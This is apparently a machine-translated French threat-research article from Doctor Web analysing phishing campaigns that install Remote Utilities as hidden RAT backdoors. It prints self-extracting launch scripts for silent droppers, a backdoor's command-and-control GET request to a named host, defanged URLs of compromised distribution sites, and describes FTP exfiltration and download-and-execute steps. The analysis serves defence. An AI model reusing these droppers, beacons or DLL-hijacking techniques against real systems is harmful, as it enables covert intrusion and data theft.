Pas de bruit et de poussière: analyse des chevaux de Troie RAT basés sur des utilitaires distants





En novembre 2020, le laboratoire de virus de Doctor Web a détecté la distribution d'e-mails de phishing aux utilisateurs professionnels. Les attaquants ont essayé d'utiliser la méthode classique d'ingénierie sociale pour forcer les victimes potentielles à ouvrir des pièces jointes. Les e-mails contenaient des chevaux de Troie en tant que charge utile malveillante qui assurait l'installation cachée et le lancement de l'utilitaire Remote Utilities, dont les composants d'installation étaient également inclus dans la pièce jointe. Dans un ensemble de circonstances défavorables, les ordinateurs des employés pourraient être commandés à distance sans aucun signe visuel du fonctionnement du programme. Dans cet article, nous examinerons les mécanismes de distribution et d'infection des chevaux de Troie RAT utilisés.



Scénario d'attaque



Les échantillons que nous avons trouvés peuvent être divisés en 2 groupes.





Les deux groupes de malwares sont unis non seulement par l'outil utilisé - Remote Utilities - mais aussi par le format des e-mails de phishing. Ce sont des messages assez bien rédigés et relativement volumineux en russe, utilisant un sujet potentiellement intéressant pour le destinataire. La charge utile malveillante est protégée par un mot de passe et le mot de passe lui-même sous la forme d'un fichier TXT se trouve à proximité et représente la date à laquelle la lettre a été envoyée.



Un exemple de message avec une pièce jointe malveillante utilisant le détournement de DLL:







L'archive jointe contient une archive RAR protégée et un fichier texte avec un mot de passe.







Pour la confidentialité de la pièce jointe envoyée, un mot de passe automatique est défini: 02112020.


L'archive contient un dropper sous la forme d'un RAR auto-extractible, à l'intérieur duquel se trouve BackDoor.RMS.180 lui-même .



Vous trouverez ci-dessous un exemple d'e-mail avec une pièce jointe utilisant un package MSI.







En plus de l'archive avec une charge malveillante ( BackDoor.RMS.181 ) et du fichier de mot de passe, il y a des documents factices ici.







En raison de la politique de sécurité de l'entreprise, cette pièce jointe est protégée par le code d'accès: 12112020.


Au cours de nos recherches, nous avons également trouvé un échantillon d'e-mail de phishing contenant un lien vers un compte-gouttes qui lance l'installation de l'utilitaire Remote Utilities à partir d'un package MSI configuré (détecté par Dr.Web comme BackDoor.RMS.187 ). Un mécanisme de propagation de charge utile légèrement différent est impliqué ici.







"CV_resume.rar" est un lien vers un site compromis, d'où une redirection vers une autre ressource se produit pour télécharger une archive malveillante de BackDoor.RMS.187 .



Une analyse de l'infrastructure réseau utilisée par les cybercriminels pour distribuer BackDoor.RMS.187 a révélé plusieurs autres sites compromis, ainsi qu'un échantillon de Trojan.Gidra. Selon nos données, Trojan.GidraNET.1 a été utilisé pour infecter initialement le système à l'aide d'un e-mail de phishing, suivi du téléchargement d'une porte dérobée qui installait secrètement Remote Utilties.



Pour une analyse détaillée des algorithmes du logiciel détecté, lisez la bibliothèque de virus sur notre site Web. Ci-dessous, nous examinerons rapidement ces logiciels malveillants.



BackDoor.RMS.180



Un cheval de Troie de porte dérobée écrit à l'aide de composants Remote Utilities. Le principal module malveillant est chargé via le détournement de DLL.



L'archive auto-extractible est lancée par le script:



;і   і  SFX-
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2
      
      





Composition du compte-gouttes auto-extractible:



  • libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), nettoyer;
  • ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), nettoyer;
  • UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), signé avec une signature valide;
  • WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), signé avec une signature valide;
  • winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) est le principal module malveillant qui assure le fonctionnement caché des utilitaires distants.


Le tableau des fonctions exportées winspool.drv:



118  RemoveYourMom
119  AddFormW
144  ClosePrinter
148  OpenDick
156  DeleteFormW
189  DocumentPropertiesW
190  HyXyJIuHagoToA
195  EnumFormsW
203  GetDefaultPrinterW
248  EnumPrintersW
273  GetFormW
303  OpenPrinterW
307  PrinterProperties
      
      





Fonctions absentes du module winspool.drv d'origine et ne portant pas de charge fonctionnelle: les







exportations avec des noms réels contiennent des transitions vers les fonctions d'origine chargées à l'avenir à partir d'une bibliothèque légitime.







Certaines fonctions API sont exécutées via des pointeurs vers des cavaliers :









La fonction get_proc recherche la fonction API requise en analysant la table d'exportation du module, puis place l'adresse trouvée au lieu de la fonction de saut .

Lors de la première étape, il charge la bibliothèque remplacée. Le nom n'est pas codé en dur, il charge donc la bibliothèque <system_directory> \ <module_filename>... Ensuite, il parcourt sa table d'exportation et charge les fonctions API d'origine par ordinaux, en ignorant les fonctions invalides:



RemoveYourMom
OpenDick
HyXyJIuHagoToA
      
      









La porte dérobée vérifie ensuite dans le contexte de quel exécutable elle s'exécute. Pour ce faire, il vérifie la valeur IMAGE_NT_HEADERS.OptionalHeader.CheckSum du module exécutable principal:



  • la valeur est 0x2ECF3 - lancement initial avec WinPrint.exe;
  • la valeur est 0xC9FBD1 - fonctionne dans le contexte d'UniPrint.exe.


Si WinPrint.exe est en cours d'exécution, la porte dérobée crée le processus UniPrint.exe et se ferme.



Lorsque UniPrint.exe est lancé, la porte dérobée exécute les fonctions de base. Vérifie si l'utilisateur dispose des droits d'accès administrateur. Ensuite, il définit les autorisations pour le répertoire avec le module:







après cela, il écrit les paramètres Général et Sécurité dans la clé de registre HKCU \ SOFTWARE \ WDMPrint et prépare la valeur du paramètre InternetID à l' aide d'une chaîne de format.



Ensuite, la porte dérobée crée des fenêtres MDICLIENT et RMSHDNLT cachées :







Ensuite, il intercepte les fonctions de l'API. Il utilise la bibliothèque MinHook pour cela .







Un tableau détaillé avec une description des fonctions interceptées se trouve sur la page BackDoor.RMS.180 de notre site Web.



L'activité de réseau de porte dérobée est mise en œuvre comme suit. Tout d'abord, à l'aide du handle de fenêtre TEdit à l'aide de la fonction GetWindowTextA, la porte dérobée obtient l' InternetID requis pour une connexion à distance. Ensuite, il forme une requête GET du formulaire:



GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close
      
      





Ensuite, il crée une socket TCP. Valide la valeur d'une variable globale qui stocke le port pour une connexion SSL (zéro dans cet exemple). Si le port n'est pas égal à zéro, la connexion est établie via SSL à l'aide des fonctions de la bibliothèque SSLEAY32.dll. Si le port n'est pas spécifié, la porte dérobée se connecte via le port 80.

Ensuite, elle envoie la requête générée. Si une réponse est reçue, il attend une minute et renvoie la demande avec l' InternetID . S'il n'y a pas de réponse, la demande est répétée après 2 secondes. L'envoi se produit dans une boucle sans fin.



BackDoor.RMS.181



L'échantillon analysé est un package MSI avec des paramètres de contrôle à distance préconfigurés, créé à l'aide du configurateur MSI de Remote Utilities Viewer. Il a été distribué dans le cadre d'un compte-gouttes auto-extractible 7z (52c3841141d0fe291d8ae336012efe5766ec5616).



Composition du compte-gouttes:



  • host6.3_mod.msi (package MSI préconfiguré);
  • installer.exe (5a9d6b1fcdaf4b2818a6eeca4f1c16a5c24dd9cf), signé avec une signature numérique valide.


Script de lancement d'archive auto-extractible:



;!@Install@!UTF-8!
RunProgram="hidcon:installer.exe /rsetup"
GUIMode="2"
;!@InstallEnd@!
      
      





Après la décompression, le compte-gouttes exécute le fichier installer.exe, qui à son tour démarre l'installation du package MSI préconfiguré. Le programme d'installation extrait et installe secrètement les utilitaires distants. Après l'installation, il envoie un signal au serveur de gestion.







Le package MSI contient tous les paramètres nécessaires à l'installation silencieuse des utilitaires distants. L'installation est effectuée dans Program Files \ Remote Utilities - Host conformément à la table Directory .







Selon le tableau CustomAction, le programme d'installation msiexec.exe lance le composant principal du package Remote Utilities rutserv.exeavec divers paramètres permettant une installation silencieuse, l'ajout de règles de pare-feu et le démarrage du service.







Les paramètres de connexion et les paramètres sont entrés dans la clé de registre HKLM \ Remote Utilities \ v4 \ Server \ Parameters . Les valeurs des paramètres sont contenues dans la table Registry :







Le paramètre CallbackSettings contient l'adresse du serveur auquel l' InternetID est envoyé pour une connexion directe.



BackDoor.RMS.187



L'exemple examiné est un package MSI avec des paramètres préconfigurés pour l'installation et l'exécution silencieuses des utilitaires distants. Il a été distribué dans le cadre d'une archive RAR malveillante utilisant des listes de diffusion de phishing.



Il est lancé à l'aide d'un dropper qui stocke l'archive d'installation dans la section des ressources sous le nom LOG . Le dropper enregistre le package MSI dans le répertoire % TEMP% sous le nom KB8438172.msi, puis lance msiexec.exe à l'aide du programme d'installation. Le compte-gouttes contient le chemin vers la source - C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp .







La porte dérobée indique qu'elle est prête à se connecter en envoyant un message à cerbe [@] protonmail [.] Com...



Cet échantillon se distingue par la manière dont il a été distribué. La victime reçoit un e-mail d'hameçonnage avec un lien déguisé en pièce jointe dont l'utilisateur a besoin.



Lien pour télécharger les pièces jointes est à http [:] // ateliemilano ru / stat / amsweb.php eTmt6lRmkrDeoEeQB6MOVIKq4BTmbNCaI6vj% 2FvgYEbHFcfWecHRVZGMpkK% 2BMqevriOYlq9CFe6NuQMfKPsSNIax3bNKkCaPPR0RA85HY4Bu% 2B% 2B6xw2oPITBvntn2dh0QCN9pV5fzq3T 2FnW270rsYkctA %%% 2FwdvWH1bkEt2AdWnyEfaOwsKsSpyY3azVX0D 2BKOm5 [.]? .



Ensuite, à partir de cette adresse, une redirection vers l'adresse https [:] // kiat [.] By / recrutement / CV_Ekaterina_A_B_resume.rar a lieu, qui est utilisée pour télécharger l'archive malveillante.



ateliemilano [.] ruet kiat [.] by sont des sites existants, le second site appartenant à une agence de recrutement. Selon nos informations, ils ont été utilisés à plusieurs reprises pour télécharger des chevaux de Troie, ainsi que pour transmettre des demandes de téléchargement.



Au cours de la recherche, d'autres sites compromis ont été trouvés qui ont été utilisés pour distribuer des compte-gouttes similaires avec des packages MSI. Sur certains d'entre eux, des redirections du même format ont été installées que sur le site ateliemilano [.] Ru . Trojans écrits en

Visual Basic .NET ( Trojan.GidraNET.1), qui, entre autres, télécharge des compte-gouttes malveillants sur des ordinateurs compromis.



Trojan.GidraNET.1



L'échantillon de cheval de Troie examiné a été distribué via des sites compromis. Il est conçu pour collecter des informations sur le système avec son transfert ultérieur aux cybercriminels via FTP, ainsi que pour télécharger un compte-gouttes malveillant avec un package MSI pour installer Remote Utilities.



La fonctionnalité principale se trouve dans la méthode readConfig appelée depuis Form1_Load .







Au début de ses travaux, il collecte les informations suivantes sur le système:



  • adresse IP externe;
  • Nom d'utilisateur;
  • Nom du PC;
  • Version du système d'exploitation;
  • des informations sur la carte mère et le processeur;
  • la quantité de RAM;
  • informations sur les disques et les partitions;
  • les adaptateurs réseau et leurs adresses MAC;
  • le contenu du presse-papiers.






Les informations résultantes sont enregistrées dans un fichier, puis prennent une capture d'écran.







Envoie des informations sur le système via FTP au serveur ateliemilano [.] Ru .







Le code du cheval de Troie contient un identifiant et un mot de passe pour le serveur FTP. Un répertoire distinct est créé pour chaque ordinateur infecté.







Après avoir envoyé les informations, il télécharge et exécute le fichier à partir d'un autre serveur compromis.







Les fichiers téléchargés avec des exemples similaires sont des compte-gouttes écrits en Visual Basic qui contiennent des packages MSI pour l'installation masquée d'utilitaires distants, tels que BackDoor.RMS.187 .



Le chemin d'accès au fichier PDB a été trouvé dans l'exemple examiné: C: \ Users \ Kelevra \ Desktop \ Last Gidra + PrintScreen + Loader_ Main \ Gidra \ obj \ Debug \ Gidra.pdb . Le nom d'utilisateur Kelevra est le même que le nom d'utilisateur dans le chemin d'accès au fichier de projet dans le dropper BackDoor.RMS.187 : C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp . D'autres variantes ont été trouvées dans des échantillons similaires.



Sur la base des informations que nous avons trouvées, nous pouvons supposer qu'en 2019, l'auteur de Trojan.GidraNET.1 a utilisé ce cheval de Troie pour l'infection initiale via un e-mail de phishing, suivi du téléchargement d'une porte dérobée qui installe secrètement Remote Utilties.



Conclusion



Les portes dérobées basées sur des utilitaires d'administration à distance restent une menace de sécurité urgente et sont toujours utilisées pour attaquer le secteur des entreprises. À leur tour, les e-mails de phishing sont le principal moyen de fournir des charges utiles aux ordinateurs infectés. Une caractéristique distinctive des pièces jointes malveillantes est l'archivage de la charge utile à l'aide d'un mot de passe, qui permet au message de surmonter la protection intégrée au serveur de messagerie. Une autre caractéristique est la présence d'un fichier texte avec un mot de passe pour la fausse archive. De plus, l'utilisation d'une bibliothèque malveillante et d'attaques de détournement de DLL permet le fonctionnement caché d'un logiciel de contrôle à distance sur un appareil compromis.



Indicateurs de compromis



All Articles